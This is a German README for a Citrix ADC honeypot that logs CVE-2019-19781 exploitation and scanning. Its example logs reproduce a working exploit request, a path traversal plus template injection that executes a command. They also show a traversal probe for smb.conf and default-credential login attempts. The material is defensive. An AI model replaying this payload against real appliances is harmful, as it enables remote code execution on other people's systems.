Citrix ADC (NetScaler) Honeypot

Erkennt und protokolliert Payloads für CVE-2019-19781 (Shitrix / Citrixmash)
Protokolliert fehlgeschlagene Anmeldeversuche
Stellt Inhalte und Header bereit, die von echten Appliances stammen, um die Wahrscheinlichkeit einer Indexierung in Suchmaschinen (z.B. Google, Shodan usw.) zu erhöhen

screenshot

Installation

Vorkompiliert

Vorkompiliertes Linux (x64) Paket verfügbar hier

mkdir citrix-honeypot
cd citrix-honeypot
wget https://github.com/x1sec/citrix-honeypot/releases/download/v0.02/citrix-honeypot-linux-amd64.tar.gz
tar -xf citrix-honeypot-linux-amd64.tar.gz

go get

Wenn Sie eine Go-Umgebung bereit haben:

go get github.com/x1sec/citrix-honeypot

Ausführen

Selbstsigniertes Zertifikat erstellen:

openssl genrsa -out server.key 2048
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650

So einfach geht's:

./citrix-honeypot

Der Honeypot horcht auf beiden Ports 80 und 443 (daher muss er als root-Benutzer ausgeführt werden)

Oder um ihn zu trennen und als Hintergrundprozess auszuführen:

nohup ./citrix-honeypot &

Logs

Ergebnisse/Daten werden in das Verzeichnis ./log geschrieben. Dies sind:

hits.log - Scanversuche und Exploit-Versuche mit allen Daten (z.B. Header, Post-Body)

all.log - Alle HTTP-Anfragen, die auf dem Server beobachtet werden

logins.log - Anmeldeversuche an der Weboberfläche

tlsErrors.log - Oft senden Internetscanner ungültige Daten an Port 443. HTTPS-Fehler werden hier protokolliert.

Beispiele

Ausführen des ersten öffentlich veröffentlichten Exploits:

$ cat logs/hits.log 
2020/01/23 08:27:55 
-------------------
Exploitation detected ...
src: xxx.xxx.xxx.xxx
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 181
Content-Type: application/x-www-form-urlencoded
Nsc_nonce: test1337
Nsc_user: /../../../../../../../../../../netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS
User-Agent: curl/7.67.0

url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'id | tee /netscaler/portal/templates/zToMJRAzp0T0FuUS2cEp41ZZbmrtmUqS.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb

Scanversuch:

$ cat logs/hits.log 
2020/01/23 08:41:02 
-------------------
Scanning detected ... 
src: xxx.xxx.xxx.xxx
GET /vpn/../vpns/cfg/smb.conf HTTP/2.0
Host: xxx.xxx.xxx.xxx
Accept: */*
User-Agent: curl/7.67.0

Anmeldeversuche:

$ cat logs/logins.log
2020/01/23 07:26:03 Failed login from xxx.xxx.xxx.xxx user:nsroot pass:nsroot
2020/01/23 08:26:03 Failed login from xxx.xxx.xxx.xxx user:admin pass:admin

citrix-honeypot

Beliebteste